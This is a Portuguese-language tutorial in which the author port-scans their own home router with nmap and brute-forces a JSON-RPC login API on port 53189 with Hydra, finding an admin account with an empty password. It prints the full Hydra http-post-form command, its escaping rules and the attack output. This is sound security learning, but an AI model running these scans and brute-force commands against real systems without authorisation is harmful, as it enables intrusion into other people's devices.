Automatizando força bruta HTTP [API] com Hydra
Neste domingo eu estava aproveitando para estudar um poucos sobre o protocolo HTTP e autenticação web. Eu estava analisando as portas que estavam escutando no meu gateway wifi. Após alguma pesquisa no google, encontrei o manual do produto e algumas informações importantes.
Percebi que além do IP 192.168.0.1 o roteador também tinha uma interface adicional: 192.168.100.1. Quais portas estão este roteador está escutando em cada uma das interfaces? Vamos ao nmap:
# nmap -sS -p1-65535 -r 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-25 19:50 EDT
Nmap scan report for 192.168.0.1
Host is up (0.046s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
1990/tcp open stun-p1
4700/tcp open netxms-agent
5431/tcp open park-agent
5523/tcp filtered unknown
8848/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 31.66 seconds# nmap -sS -p1-65535 -r 192.168.100.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-25 19:28 EDT
Nmap scan report for 192.168.100.1
Host is up (0.015s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
8083/tcp open us-srv
50827/tcp open unknown
53189/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 72.14 seconds
Opções do nmap:
- -sS: Syn Scan, ativa a flag syn to pacote tcp.
- -p1–65535: realiza o scan das portas 1 até 65535.
- -r: Não randomizar as requisições.
Após testar todas as portas usando um navegador como o Firefox, percebi que a porta 53189 estava pedindo um conjunto de usuário e senha que não era o padrão. Em uma máquina Windows com o Fiddler instalado, eu fiz uma captura de tentativa de login e digitei qualquer senha para verificar qual seria o resultado da tentativa. Sem sucesso, claro:
Perceba que durante a requisição POST, o navegador manda um JSON para o servidor com o conjunto de chaves e valores id e password. Vamos utilizar essas chaves para realizar as tentativas.
Hydra
Ok, o hydra é uma ferramenta de linha de comando usado para testar usuário/senha contra um determinado serviço. É importante lembrar que não me responsabilizo pelas ações que você irá tomar utilizando esta ferramenta ou qualquer técnica aqui apresentada. Sem mais, estou usando um Kali com hydra e o comando abaixo:
# hydra -v -V -L logins.txt -P pass.txt 192.168.100.1 -s 53189 http-post-form "/api:{\"method\"\:\"login\",\"params\"\:{\"id\"\:\"^USER^\",\"password\"\:\"^PASS^\"},\"id\"\:1,\"jsonrpc\"\:\"2.0\"}:error"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Parametros do hydra:
- -v: Verbose
- -V: mostra as tentativas de usuário e senha
- -L: lista de usuários que será testado
- -P: lista de senhas
- -s: porta
- http-post-form: o método de ataque
- /api:{\"method\"\:\"login\",\"params\"\:{\"id\"\:\"^USER^\",\"password\"\:\"^PASS^\"},\"id\"\:1,\"jsonrpc\"\:\"2.0\"}: de acordo com a documentação do hydra, as aspas e os dois pontos precisam ser "escapados" com o uso da barra invertida
- error: é a string de erro que será buscada quando a senha for inválida
Note, o ^USER^ e o ^PASS^ serão substituídos pelas entradas nos arquivos de usuário e senha que estamos enviando para o programa. Finalizando, abaixo temos o comando com o resultado:
# hydra -v -V -L logins.txt -P pass.txt 192.168.100.1 -s 53189 http-post-form "/api:{\"method\"\:\"login\",\"params\"\:{\"id\"\:\"^USER^\",\"password\"\:\"^PASS^\"},\"id\"\:1,\"jsonrpc\"\:\"2.0\"}:error"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-25 21:14:51
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking http-post-form://192.168.100.1:53189/api:{"method"\:"login","params"\:{"id"\:"^USER^","password"\:"^PASS^"},"id"\:1,"jsonrpc"\:"2.0"}:error
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.100.1 - login "user" - pass "" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.100.1 - login "user" - pass "pass" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.100.1 - login "user" - pass "pass1" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.100.1 - login "user" - pass "word:" - 4 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.100.1 - login "administrator" - pass "" - 5 of 12 [child 4] (0/0)
[ATTEMPT] target 192.168.100.1 - login "administrator" - pass "pass" - 6 of 12 [child 5] (0/0)
[ATTEMPT] target 192.168.100.1 - login "administrator" - pass "pass1" - 7 of 12 [child 6] (0/0)
[ATTEMPT] target 192.168.100.1 - login "administrator" - pass "word:" - 8 of 12 [child 7] (0/0)
[ATTEMPT] target 192.168.100.1 - login "admin" - pass "" - 9 of 12 [child 8] (0/0)
[ATTEMPT] target 192.168.100.1 - login "admin" - pass "pass" - 10 of 12 [child 9] (0/0)
[ATTEMPT] target 192.168.100.1 - login "admin" - pass "pass1" - 11 of 12 [child 10] (0/0)
[ATTEMPT] target 192.168.100.1 - login "admin" - pass "word:" - 12 of 12 [child 11] (0/0)
[STATUS] attack finished for 192.168.100.1 (waiting for children to complete tests)
[53189][http-post-form] host: 192.168.100.1 login: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-25 21:14:51
Senha encontrada:
[53189][http-post-form] host: 192.168.100.1 login: admin
1 of 1 target successfully completed, 1 valid password found
Note que apenas o login "admin" foi encontrado, mas não temos senha. Isso mesmo, o login é admin sem senha!
Referências
- https://github.com/vanhauser-thc/thc-hydra
- https://hackersec.com/comandos-e-truques-com-thc-hydra-brute-force/